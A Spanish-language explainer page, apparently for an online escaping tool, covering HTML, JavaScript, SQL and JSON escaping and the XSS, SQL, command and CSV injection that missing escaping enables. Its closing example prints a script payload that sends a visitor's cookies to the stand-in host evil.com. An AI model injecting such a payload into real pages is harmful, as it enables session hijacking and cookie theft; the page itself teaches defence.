Escapar/Desescapar Texto
Escapar y desescapar texto
El escapado de texto convierte caracteres especiales en secuencias seguras para evitar que sean interpretados como código. Es la primera línea de defensa contra ataques de inyección.
¿Qué es el Escapado de Texto?
El escapado de texto es el proceso de reemplazar caracteres especiales con representaciones seguras para que sean tratados como datos literales en lugar de código ejecutable o sintaxis estructural. Cada lenguaje y formato tiene caracteres con significado especial — HTML usa < y > para etiquetas, SQL usa ' para delimitadores de cadena, JSON usa " y \ para cadenas. Cuando estos caracteres aparecen en datos proporcionados por el usuario, deben ser escapados para evitar que rompan el formato o, peor aún, sean interpretados como instrucciones.
El escapado es conceptualmente simple: se sustituye cada carácter peligroso con un equivalente inofensivo que produce la misma salida visual sin activar ningún comportamiento especial. En HTML, < se convierte en <. En JSON, una comilla doble dentro de una cadena se convierte en \". En SQL, una comilla simple se convierte en '' (duplicada). Las reglas de sustitución específicas dependen completamente del contexto.
La falta de escapado adecuado del texto es una de las clases de vulnerabilidad más explotadas en la historia del software. Cross-Site Scripting (XSS), inyección SQL, inyección de comandos e inyección CSV son todas consecuencia de insertar datos no confiables en un contexto estructurado sin el escapado apropiado.
Escapado Específico por Contexto
No existe una única función de “escapado” que funcione en todas partes. Cada contexto de salida tiene su propio conjunto de caracteres especiales y reglas de escapado correspondientes. Usar el escapado incorrecto para el contexto no proporciona protección.
Escapado HTML
El escapado HTML convierte caracteres que tienen significado en el marcado HTML a sus equivalentes de entidad:
| Carácter | Entidad HTML | Razón |
|---|---|---|
< | < | Inicia una etiqueta HTML |
> | > | Cierra una etiqueta HTML |
& | & | Inicia una entidad HTML |
" | " | Delimita valores de atributo |
' | ' | Delimita valores de atributo (alternativo) |
Escapado de Cadenas JavaScript
Cuando se incrustan datos dentro de una cadena JavaScript (por ejemplo, en un bloque <script> o un manejador de eventos), se aplican reglas diferentes:
| Carácter | Escapado | Razón |
|---|---|---|
\ | \\ | El propio carácter de escape |
" | \" | Delimitador de cadena |
' | \' | Delimitador de cadena |
| Salto de línea | \n | Rompe el literal de cadena |
</script> | <\/script> | Cierra el bloque script prematuramente |
Escapado SQL
La inyección SQL sigue siendo una de las vulnerabilidades más peligrosas. Aunque las consultas parametrizadas (sentencias preparadas) son la solución correcta, entender el escapado SQL ayuda a explicar por qué:
| Carácter | Escapado | Razón |
|---|---|---|
' | '' (duplicada) | Delimitador de cadena en SQL |
\ | \\ | Carácter de escape (MySQL) |
% | \% | Comodín en cláusulas LIKE |
Escapado JSON
Cuando se incrustan cadenas en JSON, los siguientes caracteres deben ser escapados con una barra invertida:
| Carácter | Escapado | Razón |
|---|---|---|
" | \" | Delimitador de cadena |
\ | \\ | Carácter de escape |
/ | \/ | Opcional, previene problemas con </script> |
| Salto de línea | \n | Carácter de control |
| Tabulación | \t | Carácter de control |
Por Qué Importa el Escapado
El escapado no se trata de estética o cumplimiento de formato — es un límite de seguridad crítico. Cuando datos controlados por el usuario pasan de la capa de datos a una capa de código (HTML, SQL, JavaScript, comandos de shell) sin escapar, los datos del usuario pueden convertirse en instrucciones ejecutables.
Cross-Site Scripting (XSS)
XSS es la vulnerabilidad web más común. Ocurre cuando una aplicación web incluye datos no confiables en la salida HTML sin escapar. Un atacante inyecta JavaScript que se ejecuta en los navegadores de otros usuarios, permitiendo el robo de cookies, secuestro de sesión, desfiguración y phishing.
Existen tres tipos:
- XSS reflejado: El script malicioso es parte de la URL y se refleja de vuelta en la página
- XSS almacenado: El script se almacena permanentemente (por ejemplo, en un campo de comentario en la base de datos) y se sirve a cada visitante
- XSS basado en DOM: La inyección ocurre completamente en JavaScript del lado del cliente sin intervención del servidor
Inyección SQL
La inyección SQL ocurre cuando la entrada del usuario se concatena en una consulta SQL sin escapar ni parametrizar. Un atacante puede modificar la consulta para eludir la autenticación, extraer datos, modificar registros o incluso ejecutar comandos del sistema.
Inyección de Comandos
Cuando la entrada del usuario se pasa a comandos de shell (por ejemplo, mediante exec() o comillas invertidas), caracteres como ;, | y $() pueden encadenar comandos adicionales. La solución es usar funciones de biblioteca que eviten el shell por completo, o validar y escapar estrictamente la entrada.
Casos de Uso Comunes
- Renderizar contenido de usuario en HTML: Comentarios de blog, publicaciones en foros, descripciones de perfil y cualquier otro contenido generado por el usuario deben ser escapados en HTML antes de insertarlos en una página para prevenir XSS
- Construir consultas SQL: Aunque las consultas parametrizadas son preferibles, entender el escapado es esencial para depuración, registro y trabajo con sistemas heredados que construyen SQL dinámicamente
- Generar respuestas JSON: Al construir cadenas JSON manualmente (sin un serializador), los valores de cadena deben ser correctamente escapados para producir JSON válido y prevenir inyección
- Incrustar datos en JavaScript: Las páginas renderizadas en el servidor que inyectan datos en bloques
<script>deben escapar los datos para el contexto de JavaScript, no el contexto HTML - Exportación CSV: Al generar archivos CSV a partir de datos de usuario, los campos que contienen comas, comillas o saltos de línea deben ser entrecomillados y escapados para prevenir inyección de fórmulas y errores de parseo
Prueba estos ejemplos
Los corchetes angulares < y > están escapados como < y >, y la comilla simple se preserva. El navegador renderiza el texto literal '<script>alert(hi)</script>' en lugar de ejecutarlo como JavaScript.
<script>alert('hi')</script> Entrada de usuario sin procesar inyectada en HTML sin escapar. Un navegador ejecutaría este JavaScript, enviando las cookies del usuario a un atacante. Este es un ataque clásico de Cross-Site Scripting (XSS).
<script>document.location='https://evil.com/steal?c='+document.cookie</script>